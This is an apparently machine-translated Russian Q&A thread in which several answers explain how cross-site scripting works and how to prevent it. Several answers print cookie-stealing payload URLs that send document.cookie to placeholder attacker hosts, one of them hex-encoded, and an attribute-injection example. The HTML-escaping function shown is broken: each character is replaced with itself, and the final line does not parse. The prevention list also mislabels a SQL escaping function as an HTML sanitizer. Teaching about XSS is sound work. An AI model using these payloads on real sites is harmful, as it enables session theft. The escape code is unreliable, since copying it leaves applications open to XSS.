Может ли кто-нибудь объяснить, как работает XSS на простом английском языке? Может с примером. Гугление мало помогло.
Как работает XSS?
Ответы (6)
Межсайтовый скриптинг в основном представляет собой уязвимость системы безопасности динамических веб-страниц, где злоумышленник может создать вредоносную ссылку для внедрения нежелательного исполняемого кода JavaScript на веб-сайт. Наиболее распространенный случай этой уязвимости возникает, когда переменные GET печатаются или отображаются без фильтрации или проверки их содержимого.
Когда жертва нажимает на ссылку, вредоносный код может затем отправить файл cookie жертвы на другой сервер или изменить уязвимый сайт, внедрив формы, чтобы украсть имена пользователей и пароли и использовать другие методы фишинга.
Пример вредоносной ссылки:
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
Также распространено кодирование вредоносного кода, например, в шестнадцатеричном формате:
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
Уязвимость XSS существует всякий раз, когда строка вне вашего приложения может быть интерпретирована как код.
Например, если вы генерируете HTML следующим образом:
<BODY>
<?= $myQueryParameter ?>
</BODY>
затем, если переменная $myQueryParameter
содержит тег <SCRIPT>
, тогда она завершит выполнение кода.
Чтобы предотвратить выполнение ввода как кода, необходимо правильно экранировать содержимое.
Вышеупомянутую проблему можно решить, если понять, что переменная $myQueryParameter
содержит обычный текст, но вы не можете просто взять и поместить обычный текст в HTML и ожидать, что он будет работать.
Поэтому вам нужно преобразовать обычный текст в HTML, чтобы вы могли поместить его на свою HTML-страницу. Этот процесс преобразования строки на одном языке в другой, чтобы ее можно было встроить, ускользает.
Вы можете преобразовать обычный текст в HTML с помощью такой функции, как:
function escapePlainTextToHTML(plainText) {
return plainText.replace(/\0/g, '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
На простом английском
XSS — это когда вы вставляете скрипты (имеется в виду код JavaScript) на веб-страницы, чтобы браузер выполнял код. Это вредоносно, потому что его можно использовать для кражи файлов cookie и любых других данных на странице. Например:
HTML-код окна поиска: <input value="*search value here*">
Теперь, если вы вставите " onmouseover="alert(1)
, окончательный HTML-код будет <input value="" onmouseover="alert(1)">
. При наведении курсора мыши на поле поиска будет выполнено «предупреждение».
В "Викитексте"
Межсайтовый скриптинг (XSS) — это тип уязвимости компьютерной безопасности, обычно встречающийся в веб-приложениях. XSS позволяет злоумышленникам внедрять скрипты на стороне клиента в веб-страницы, просматриваемые другими пользователями. Уязвимость межсайтового скриптинга может использоваться злоумышленниками для обхода средств контроля доступа, таких как политика одного и того же источника.
Говоря простым языком, XSS — это уязвимость в системе безопасности, с помощью которой злоумышленник может создать вредоносный скрипт для взлома веб-сайта. Теперь Как это работает?
Поскольку мы знаем, что для XSS требуется поле ввода, или мы можем сказать, что переменная GET, через которую ввод, возвращается пользователю без фильтрации, а иногда и без фильтрации. После запроса браузер может («исходный код») в качестве ответа показать содержимое пользователю. Помните, что вы когда-либо писали в поле ввода, это будет в ответе исходного кода. Поэтому вам следует проверить это, потому что иногда веб-разработчик накладывает ограничения на окно предупреждения.
Если вы являетесь злоумышленником, сначала вам нужно узнать об уязвимости xss, используя тег сценария.
Например: - предупреждение("тест")
Здесь alert() используется для создания всплывающего окна с кнопкой ok, и все, что вы написали в скобках, будет всплывать на экране. И теги script невидимы.
Теперь злоумышленник может создать вредоносный скрипт для кражи файла cookie, кражи учетных данных и т. д.
Например: hxxp://www.VulnerableSite.com/index.php?search=location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;
Здесь ваш сайт является сайтом злоумышленника, на котором злоумышленник может перенаправить cookie жертвы на свой сайт с помощью document.cookie.
Вот и все.
Здесь тег скрипта невидим
Я написал статью о том, что такое XSS и как с этим справиться в качестве PHP-разработчика. Также есть примеры того, как выглядят оба типа XSS-атак (постоянные и непостоянные).
Существует два типа XSS-атак:
- Непостоянный: это будет специально созданный URL-адрес, который встраивает скрипт в качестве одного из параметров на целевую страницу. Неприятный URL-адрес может быть отправлен по электронной почте с целью заставить получателя щелкнуть по нему. Целевая страница неправильно обрабатывает параметр и непреднамеренно отправляет на клиентский компьютер код, который изначально был передан через строку URL.
- Постоянная: эта атака использует страницу на сайте, которая сохраняет данные формы в базу данных без надлежащей обработки входных данных. Злоумышленник может внедрить неприятный сценарий как часть типичного поля данных (например, «Фамилия»), который неосознанно запускается в веб-браузере клиента. Обычно вредоносный скрипт сохраняется в базе данных и повторно запускается при каждом посещении клиентом зараженной страницы.
Подробнее см. здесь: http://www.thedablog.com/what-is-xss/
XSS-
Уязвимость возникает, когда веб-сайт доверяет пользователю и не фильтрует пользовательский ввод. Пользовательский ввод вызывает запуск нежелательного скрипта на сайте.
Профилактика:
Фильтрация пользовательского ввода с помощью дезинфицирующих средств ввода HTML
(например, strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape в php)
CSRF:
Уязвимость возникает, когда пользователь доверяет сайту, но сайт может работать, чтобы получить информацию о пользователе и использовать ее не по назначению.
Профилактика:
- Uniquely auto-generate a csrf_token every-time a form is rendered. The csrf_token is sent to the server on form submission for verification. e.g. https://docs.djangoproject.com/en/dev/ref/contrib/csrf/